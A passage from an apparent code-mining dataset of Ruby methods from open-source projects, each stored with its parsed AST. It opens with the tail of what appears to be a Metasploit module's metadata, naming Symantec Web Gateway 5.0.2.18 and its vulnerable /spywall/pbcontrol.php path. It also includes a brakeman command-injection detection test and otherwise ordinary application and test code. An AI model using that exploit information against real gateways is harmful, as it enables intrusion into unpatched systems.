",\"children\":[\"cmd\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RequiredCmd\"]},{\"type\":\"str\",\"children\":[\"generic perl telnet\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Symantec Web Gateway 5.0.2.18\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2012-07-23\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The URI path to pbcontrol\"]},{\"type\":\"str\",\"children\":[\"/spywall/pbcontrol.php\"]}]}]}]}]}]}]}","id":"224c213b-d851-465e-8add-33ea65d19753"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/contracts/projects/base_contract.rb","start_line":118,"raw_source":"def validate_templated_set_by_admin\n      if model.templated_changed? && !user.admin?\n        errors.add :templated, :error_unauthorized\n      end\n    end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_templated_set_by_admin\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"templated_changed?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"admin?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"templated\"]},{\"type\":\"sym\",\"children\":[\"error_unauthorized\"]}]},null]}]}","id":"8ed6e6bd-b5c9-49c0-bfe8-6ad78f8550bc"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20180827053514_add_filesize_to_optimized_images.rb","start_line":4,"raw_source":"def change\n    add_column :optimized_images, :filesize, :integer\n    add_column :uploads, :thumbnail_width, :integer\n    add_column :uploads, :thumbnail_height, :integer\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"optimized_images\"]},{\"type\":\"sym\",\"children\":[\"filesize\"]},{\"type\":\"sym\",\"children\":[\"integer\"]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"uploads\"]},{\"type\":\"sym\",\"children\":[\"thumbnail_width\"]},{\"type\":\"sym\",\"children\":[\"integer\"]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"uploads\"]},{\"type\":\"sym\",\"children\":[\"thumbnail_height\"]},{\"type\":\"sym\",\"children\":[\"integer\"]}]}]}]}","id":"2c1ddad4-e42b-4b75-b399-df03af7ebe84"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import/user_from_mention.rb","start_line":40,"raw_source":"def read(mention)\n        Gitlab::Json.parse(\n          ::Gitlab::Cache::Import::Caching.read(source_user_cache_key(importer, project_id, mention))\n        )\n      end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"read\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mention\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Json\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Cache\"]},\"Import\"]},\"Caching\"]},\"read\",{\"type\":\"send\",\"children\":[null,\"source_user_cache_key\",{\"type\":\"send\",\"children\":[null,\"importer\"]},{\"type\":\"send\",\"children\":[null,\"project_id\"]},{\"type\":\"lvar\",\"children\":[\"mention\"]}]}]}]}]}","id":"f23023f1-38e2-44f0-840c-99cb2e9fa946"}
{"repo_name":"rails","file_path":"./repos/rails/activejob/test/cases/test_helper_test.rb","start_line":1763,"raw_source":"def test_assert_no_performed_jobs_with_except_and_queue_options\n      assert_no_performed_jobs except: HelloJob, queue: :some_queue do\n        HelloJob.set(queue: :other_queue).perform_later(\"bogdan\")\n        HelloJob.set(queue: :some_queue).perform_later(\"bogdan\")\n        LoggingJob.set(queue: :other_queue).perform_later(\"jeremy\")\n      end\n    end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_assert_no_performed_jobs_with_except_and_queue_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_performed_jobs\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"except\"]},{\"type\":\"const\",\"children\":[null,\"HelloJob\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"queue\"]},{\"type\":\"sym\",\"children\":[\"some_queue\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HelloJob\"]},\"set\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"queue\"]},{\"type\":\"sym\",\"children\":[\"other_queue\"]}]}]}]},\"perform_later\",{\"type\":\"str\",\"children\":[\"bogdan\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HelloJob\"]},\"set\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"queue\"]},{\"type\":\"sym\",\"children\":[\"some_queue\"]}]}]}]},\"perform_later\",{\"type\":\"str\",\"children\":[\"bogdan\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LoggingJob\"]},\"set\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"queue\"]},{\"type\":\"sym\",\"children\":[\"other_queue\"]}]}]}]},\"perform_later\",{\"type\":\"str\",\"children\":[\"jeremy\"]}]}]}]}]}","id":"6399e0dc-a981-434b-9bd2-ce9452598281"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/rails4.rb","start_line":1201,"raw_source":"def test_additional_libs_option\n    assert_warning :type => :warning,\n      :warning_code => 14,\n      :fingerprint => \"e1bff55541ac57c8bae7b027e34c23bfe76f675d5a741d767d4a533bbce9ab4a\",\n      :warning_type => \"Command Injection\",\n      :line => 4,\n      :message => /^Possible\\ command\\ injection/,\n      :confidence => 0,\n      :relative_path => \"app/api/api.rb\",\n      :user_input => s(:call, s(:params), :[], s(:lit, :dir))\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_additional_libs_option\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_warning\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"warning\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"int\",\"children\":[14]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fingerprint\"]},{\"type\":\"str\",\"children\":[\"e1bff55541ac57c8bae7b027e34c23bfe76f675d5a741d767d4a533bbce9ab4a\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"Command Injection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line\"]},{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^Possible\\\\ command\\\\ injection\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relative_path\"]},{\"type\":\"str\",\"children\":[\"app/api/api.rb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_input\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"params\"]}]},{\"type\":\"sym\",\"children\":[\"[]\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"sym\",\"children\":[\"dir\"]}]}]}]}]}]}]}","id":"0a44f8e5-deaf-451e-b04f-fdbdb7fda5bc"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/service.rb","start_line":181,"raw_source":"def allow_retire_request_creation?\n    MiqRequest.with_type(\"ServiceRetireRequest\").where(:approval_state => \"pending_approval\").find_each do |request|\n      if request.options.try(:[], :src_ids)&.include?(id)\n        next if request.request_state == \"finished\" || request.status == \"Error\"\n\n        _log.warn(\"MiqRequest with id:#{request.id} to retire Service name:'#{name}' id:#{id} already created but not approved yet\")\n        return false\n      end\n    end\n\n    true\n  end","complexity_score":27.0,"ast_json":"{\"type\":\"def\",\"children\":[\"allow_retire_request_creation?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqRequest\"]},\"with_type\",{\"type\":\"str\",\"children\":[\"ServiceRetireRequest\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"approval_state\"]},{\"type\":\"str\",\"children\":[\"pending_approval\"]}]}]}]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"options\"]},\"try\",{\"type\":\"sym\",\"children\":[\"[]\"]},{\"type\":\"sym\",\"children\":[\"src_ids\"]}]},\"include?\",{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"request_state\"]},\"==\",{\"type\":\"str\",\"children\":[\"finished\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"status\"]},\"==\",{\"type\":\"str\",\"children\":[\"Error\"]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"MiqRequest with id:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\" to retire Service name:'\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\"' id:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"str\",\"children\":[\" already created but not approved yet\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"ebe7a46c-6e00-4b61-8141-33108f979feb"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/abstract_mysql_adapter/active_schema_test.rb","start_line":182,"raw_source":"def test_indexes_in_create\n    expected = /\\ACREATE TEMPORARY TABLE `temp` \\(INDEX `index_temp_on_zip` \\(`zip`\\)\\)(?: ROW_FORMAT=DYNAMIC)? AS SELECT id, name, zip FROM a_really_complicated_query/\n    actual = ActiveRecord::Base.lease_connection.create_table(:temp, temporary: true, as: \"SELECT id, name, zip FROM a_really_complicated_query\") do |t|\n      t.index :zip\n    end\n\n    assert_match expected, actual\n  end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_indexes_in_create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\ACREATE TEMPORARY TABLE `temp` \\\\(INDEX `index_temp_on_zip` \\\\(`zip`\\\\)\\\\)(?: ROW_FORMAT=DYNAMIC)? AS SELECT id, name, zip FROM a_really_complicated_query\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"actual\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"lease_connection\"]},\"create_table\",{\"type\":\"sym\",\"children\":[\"temp\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"temporary\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"as\"]},{\"type\":\"str\",\"children\":[\"SELECT id, name, zip FROM a_really_complicated_query\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"index\",{\"type\":\"sym\",\"children\":[\"zip\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"lvar\",\"children\":[\"actual\"]}]}]}]}","id":"25f5555e-9724-4218-b5ac-2428fdf98005"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/lib/sinatra/base.rb","start_line":1545,"raw_source":"def delete(path, opts = {}, &block)  route 'DELETE',  path, opts, &block end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"delete\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[null,\"route\",{\"type\":\"str\",\"children\":[\"DELETE\"]},{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"b596b952-cae0-4bd1-8965-ad6a103a1f14"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/settings/update_service.rb","start_line":58,"raw_source":"def trigger_update_job_for_progress_mode_change(old_value, new_value)\n    return if old_value == new_value\n    return if new_value != \"status\" # only trigger if changing to status-based\n\n    WorkPackages::Progress::ApplyStatusesChangeJob.perform_later(cause_type: \"progress_mode_changed_to_status_based\")\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"trigger_update_job_for_progress_mode_change\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"old_value\"]},{\"type\":\"arg\",\"children\":[\"new_value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_value\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"new_value\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_value\"]},\"!=\",{\"type\":\"str\",\"children\":[\"status\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackages\"]},\"Progress\"]},\"ApplyStatusesChangeJob\"]},\"perform_later\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cause_type\"]},{\"type\":\"str\",\"children\":[\"progress_mode_changed_to_status_based\"]}]}]}]}]}]}","id":"fd871c31-2d96-48c2-83de-d18ef2f5ab7c"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/spec/portal/portal_stubbing.rb","start_line":39,"raw_source":"def adp_stub_provisioning\n      stub_request(:post, \"https://developer.apple.com/services-account/QH65B2/account/ios/profile/listProvisioningProfiles.action\").\n        to_return(status: 200, body: adp_read_fixture_file('listProvisioningProfiles.action.json'), headers: { 'Content-Type' => 'application/json' })\n\n      stub_request(:post, \"https://developerservices2.apple.com/services/QH65B2/ios/listProvisioningProfiles.action?includeInactiveProfiles=true&includeExpiredProfiles=true&onlyCountLists=true&teamId=XXXXXXXXXX\").\n        to_return(status: 200, body: adp_read_fixture_file('listProvisioningProfiles.action.plist'), headers: { 'Content-Type' => 'text/x-xml-plist' })\n\n      stub_request(:get, \"https://developer.apple.com/services-account/QH65B2/account/ios/profile/downloadProfileContent?provisioningProfileId=PP00000001&teamId=XXXXXXXXXX\").\n        to_return(status: 200, body: adp_read_fixture_file(\"downloaded_provisioning_profile.mobileprovision\"), headers: {})\n\n      # Download profiles\n      stub_request(:post, \"https://developer.apple.com/services-account/QH65B2/account/ios/profile/getProvisioningProfile.action\").\n        with(body: { \"provisioningProfileId\" => \"PP00000001\", \"teamId\" => \"XXXXXXXXXX\" }).\n        to_return(status: 200, body: adp_read_fixture_file('getProvisioningProfileAdHoc.action.json'), headers: { 'Content-Type' => 'application/json' })\n\n      stub_request(:post, \"https://developer.apple.com/services-account/QH65B2/account/ios/profile/getProvisioningProfile.action\").\n        with(body: { \"provisioningProfileId\" => \"PP00000006\", \"teamId\" => \"XXXXXXXXXX\" }).\n        to_return(status: 200, body: adp_read_fixture_file('getProvisioningProfileAppStore.action.json'), headers: { 'Content-Type' => 'application/json' })\n\n      stub_request(:post, \"https://developer.apple.com/services-account/QH65B2/account/ios/profile/getProvisioningProfile.action\").\n        with(body: { \"provisioningProfileId\" => \"PP00000002\", \"teamId\" => \"XXXXXXXXXX\" }).\n        to_return(status: 200, body: adp_read_fixture_file('getProvisioningProfileAppStore.action.json'), headers: { 'Content-Type' => 'application/json' })\n\n      stub_request(:post, \"https://developer.apple.com/services-account/QH65B2/account/ios/profile/getProvisioningProfile.action\").\n        with(body: { \"provisioningProfileId\" => \"PP00000003\", \"teamId\" => \"XXXXXXXXXX\" }).\n        to_return(status: 200, body: adp_read_fixture_file('getProvisioningProfileAppStore.action.json'), headers: { 'Content-Type' => 'application/json' })\n\n      stub_request(:post, \"https://developer.apple.com/services-account/QH65B2/account/ios/profile/getProvisioningProfile.action\").\n        with(body: { \"provisioningProfileId\" => \"PP00000004\", \"teamId\" => \"XXXXXXXXXX\" }).\n        to_return(status: 200, body: adp_read_fixture_file('getProvisioningProfileAppStore.action.json'), headers: { 'Content-Type' => 'application/json' })\n\n      stub_request(:post, \"https://developer.apple.com/services-account/QH65B2/account/ios/profile/getProvisioningProfile.action\").\n        with(body: { \"provisioningProfileId\" => \"2MAY7NPHRU\", \"teamId\" => \"XXXXXXXXXX\" }).\n        to_return(status: 200, body: adp_read_fixture_file('getProvisioningProfileAppStore.action.json'), headers: { 'Content-Type' => 'application/json' })\n\n      stub_request(:post, \"https://developer.apple.com/services-account/QH65B2/account/ios/profile/getProvisioningProfile.action\").\n        with(body: { \"provisioningProfileId\" => \"2MAY7NPHRF\", \"teamId\" => \"XXXXXXXXXX\" }).\n        to_return(status: 200, body: adp_read_fixture_file('getProvisioningProfiletvOSAppStore.action.json'), headers: { 'Content-Type' => 'application/json' })\n\n      stub_request(:post, \"https://developer.apple.com/services-account/QH65B2/account/ios/profile/getProvisioningProfile.action\").\n        with(body: { \"provisioningProfileId\" => \"PP00000005\", \"teamId\" => \"XXXXXXXXXX\" }).\n        to_return(status: 200, body: adp_read_fixture_file('getProvisioningProfileDevelopment.action.json'), headers: { 'Content-Type' => 'application/json' })\n\n      stub_request(:post, \"https://developer.apple.com/services-account/QH65B2/account/ios/profile/getProvisioningProfile.action\").\n        with(body: { \"provisioningProfileId\" => \"PP00000007\", \"teamId\" => \"XXXXXXXXXX\" }).\n        to_return(status: 200, body: adp_read_fixture_file('getProvisioningProfileWithTemplateiOSAppStore.action.json'), headers: { 'Content-Type' => 'application/json' })\n\n      # Create Profiles\n\n      # Name is free\n      stub_request(:post, \"https://developer.apple.com/services-account/QH65B2/account/ios/profile/createProvisioningProfile.action\").\n        with(body: { \"appIdId\" => \"R9YNDTPLJX\", \"certificateIds\" => \"C8DL7464RQ\", \"deviceIds\" => \"C8DLAAAARQ\", \"distributionType\" => \"limited\", \"provisioningProfileName\" => \"net.sunapps.106 limited\", \"teamId\" => \"XXXXXXXXXX\" }).\n        to_return(status: 200, body: adp_read_fixture_file('create_profile_success.json'), headers: { 'Content-Type' => 'application/json' })\n\n      # Name already taken\n      stub_request(:post, \"https://developer.apple.com/services-account/QH65B2/account/ios/profile/createProvisioningProfile.action\").\n        with(body: { \"appIdId\" => \"R9YNDTPLJX\", \"certificateIds\" => \"C8DL7464RQ\", \"deviceIds\" => \"C8DLAAAARQ\", \"distributionType\" => \"limited\", \"provisioningProfileName\" => \"taken\", \"teamId\" => \"XXXXXXXXXX\" }).\n        to_return(status: 200, body: adp_read_fixture_file(\"create_profile_name_taken.txt\"))\n\n      # Profile with template\n      stub_request(:post, \"https://developer.apple.com/services-account/QH65B2/account/ios/profile/createProvisioningProfile.action\").\n        with(body: { \"appIdId\" => \"R9YNDTPLJX\", \"certificateIds\" => \"C8DL7464RQ\", \"deviceIds\" => \"\", \"distributionType\" => \"limited\", \"provisioningProfileName\" => \"net.sunapps.106 limited\", \"teamId\" => \"XXXXXXXXXX\", \"template\" => \"Subscription Service iOS (dist)\" }).\n        to_return(status: 200, body: adp_read_fixture_file('create_profile_with_template_success.json'), headers: { 'Content-Type' => 'application/json' })\n\n      # Repair Profiles\n      stub_request(:post, \"https://developer.apple.com/services-account/QH65B2/account/ios/profile/regenProvisioningProfile.action\").\n        with(body: { \"appIdId\" => \"572XTN75U2\", \"certificateIds\" => \"XC5PH8D47H\", \"deviceIds\" => [\"AAAAAAAAAA\", \"BBBBBBBBBB\", \"CCCCCCCCCC\", \"DDDDDDDDDD\"], \"distributionType\" => \"store\", \"provisioningProfileName\" => \"net.sunapps.7 AppStore\", \"teamId\" => \"XXXXXXXXXX\" }).\n        to_return(status: 200, body: adp_read_fixture_file('repair_profile_success.json'), headers: { 'Content-Type' => 'application/json' })\n\n      stub_request(:post, \"https://developer.apple.com/services-account/QH65B2/account/ios/profile/regenProvisioningProfile.action\").\n        with(body: { \"appIdId\" => \"572XTN75U2\", \"certificateIds\" => \"XC5PH8D47H\", \"deviceIds\" => [\"AAAAAAAAAA\", \"BBBBBBBBBB\", \"CCCCCCCCCC\", \"DDDDDDDDDD\"], \"distributionType\" => \"store\", \"provisioningProfileName\" => \"net.sunapps.7 AppStore\", \"teamId\" => \"XXXXXXXXXX\", \"subPlatform\" => \"tvOS\" }).\n        to_return(status: 200, body: adp_read_fixture_file('repair_profile_tvos_success.json'), headers: { 'Content-Type' => 'application/json' })\n\n      # Delete Profiles\n      stub_request(:post, \"https://developer.apple.com/services-account/QH65B2/account/ios/profile/deleteProvisioningProfile.action\").\n        with(body: { \"provisioningProfileId\" => \"2MAY7NPHRU\", \"teamId\" => \"XXXXXXXXXX\" }).\n        to_return(status: 200, body: adp_read_fixture_file('deleteProvisioningProfile.action.json'), headers: { 'Content-Type' => 'application/json' })\n\n      # tvOS Profiles\n      stub_request(:post, \"https://developer.apple.com/services-account/QH65B2/account/ios/profile/createProvisioningProfile.action\").\n        with(body: { \"appIdId\" => \"2UMR2S6PAA\", \"certificateIds\" => \"C8DL7464RQ\", \"deviceIds\" => \"EEEEEEEEEE\", \"distributionType\" => \"limited\", \"provisioningProfileName\" => \"Delete Me\", \"subPlatform\" => \"tvOS\", \"teamId\" => \"XXXXXXXXXX\" }).\n        to_return(status: 200, body: adp_read_fixture_file('create_profile_success.json'), headers: { 'Content-Type' => 'application/json' })\n    end","complexity_score":92.7,"ast_json":"{\"type\":\"def\",\"children\":[\"adp_stub_provisioning\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_request\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"https://developer.apple.com/services-account/QH65B2/account/ios/profile/listProvisioningProfiles.action\"]}]},\"to_return\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[null,\"adp_read_fixture_file\",{\"type\":\"str\",\"children\":[\"listProvisioningProfiles.action.json\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_request\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"https://developerservices2.apple.com/services/QH65B2/ios/listProvisioningProfiles.action?includeInactiveProfiles=true&includeExpiredProfiles=true&onlyCountLists=true&teamId=XXXXXXXXXX\"]}]},\"to_return\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[null,\"adp_read_fixture_file\",{\"type\":\"str\",\"children\":[\"listProvisioningProfiles.action.plist\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"text/x-xml-plist\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_request\",{\"type\":\"sym\",\"children\":[\"get\"]},{\"type\":\"str\",\"children\":[\"https://developer.apple.com/services-account/QH65B2/account/ios/profile/downloadProfileContent?provisioningProfileId=PP00000001&teamId=XXXXXXXXXX\"]}]},\"to_return\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[null,\"adp_read_fixture_file\",{\"type\":\"str\",\"children\":[\"downloaded_provisioning_profile.mobileprovision\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"header